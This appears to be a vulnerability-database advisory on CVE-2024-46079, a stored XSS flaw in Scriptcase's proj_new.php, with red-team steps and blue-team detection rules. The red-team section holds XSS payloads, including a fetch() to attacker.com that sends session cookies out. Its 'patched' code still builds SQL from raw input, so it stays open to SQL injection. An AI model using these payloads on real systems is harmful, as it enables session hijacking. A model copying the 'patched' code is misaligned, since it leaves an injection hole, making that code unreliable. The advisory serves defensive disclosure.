CVE-2024-46079
Executive Summary
CVE-2024-46079 is a stored Cross-Site Scripting (XSS) vulnerability in Scriptcase v9.10.023 and earlier. The flaw exists in the proj_new.php file, where the Descricao parameter is not properly sanitized before being stored and later rendered in the application. An attacker can inject arbitrary JavaScript code, which will execute in the context of any administrator or user who views the affected project description. This can lead to session hijacking, credential theft, or further compromise of the Scriptcase instance. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the Scriptcase web application.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must view the malicious project description.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (5.4)
Deep Dive & Mechanics
The vulnerability resides in the proj_new.php file, which is used to create new projects in Scriptcase. The Descricao (Description) parameter is accepted from user input and stored in the database without proper sanitization or encoding. When the project description is later displayed on the project management page, the injected script is executed in the user's browser.
Root Cause: The application fails to escape or validate the Descricao parameter before storing it. This allows an attacker to inject HTML and JavaScript.
Attack Flow:
- An attacker crafts a malicious payload, e.g.,
<script>alert('XSS')</script>. - The attacker submits the payload via the
Descricaoparameter inproj_new.php. - The payload is stored in the database.
- An administrator or other user navigates to the project list or detail page.
- The stored payload is rendered in the browser, executing the attacker's JavaScript.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the application, or redirect users to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (proj_new.php):
<?php
// No sanitization of Descricao
$descricao = $_POST['Descricao'];
$sql = "INSERT INTO projects (name, description) VALUES ('$name', '$descricao')";
mysqli_query($conn, $sql);
?>
Patched Code (proj_new.php):
<?php
// Sanitize Descricao using htmlspecialchars
$descricao = htmlspecialchars($_POST['Descricao'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO projects (name, description) VALUES ('$name', '$descricao')";
mysqli_query($conn, $sql);
?>
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Scriptcase v9.10.023 or earlier.
- Access to the
proj_new.phppage (requires authentication or public access).
Exploit Steps:
- Navigate to
http://target/scriptcase/proj_new.php. - Fill in the project name and set the
Descricaoparameter to:<script>alert(document.cookie)</script> - Submit the form.
- When an administrator views the project list, the script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor HTTP POST requests to
proj_new.phpfor suspiciousDescricaoparameters containing<script>,onerror, or other HTML event handlers. - Use WAF rules to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding.
- Implement Content Security Policy (CSP) headers.
- Restrict access to
proj_new.phpto trusted users only.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/scriptcase/proj_new.phpwithDescricaocontaining<script>tags. - Outbound connections to attacker-controlled domains from the Scriptcase server.
- HTTP POST requests to
- File IOCs:
- Log entries in web server logs showing
Descricaoparameter with HTML/JavaScript.
- Log entries in web server logs showing
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser when viewing project descriptions.
- Unauthorized project modifications or deletions.
Detection Engineering
YARA Rule
rule CVE_2024_46079_XSS_Descricao {
meta:
description = "Detects XSS payload in Descricao parameter for CVE-2024-46079"
author = "Valters IT"
date = "2024-10-27"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-46079"
strings:
$xss1 = /Descricao=.*<script>/i
$xss2 = /Descricao=.*onerror=/i
$xss3 = /Descricao=.*onload=/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-46079 XSS in Scriptcase Descricao Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts via Descricao parameter in Scriptcase proj_new.php
author: Valters IT
date: 2024/10/27
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: proj_new.php
cs-uri-query|contains|all:
- Descricao
- '<script'
condition: selection
falsepositives:
- Legitimate use of HTML in description (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46079 Scriptcase XSS in Descricao"; flow:to_server,established; content:"POST"; http_method; content:"proj_new.php"; http_uri; content:"Descricao"; http_client_body; pcre:"/Descricao=.*<script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize the
Descricaoparameter usinghtmlspecialchars()or a similar function. - Output Encoding: Encode all user-supplied data before rendering in HTML.
- Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
- Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads.
Long-Term Actions:
- Upgrade: Monitor Scriptcase for an official patch and upgrade immediately.
- Code Review: Conduct a security audit of all user input handling.
- Security Training: Educate developers on secure coding practices.
Workaround:
- Restrict access to
proj_new.phpto authenticated administrators only. - Disable the description field if not required.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.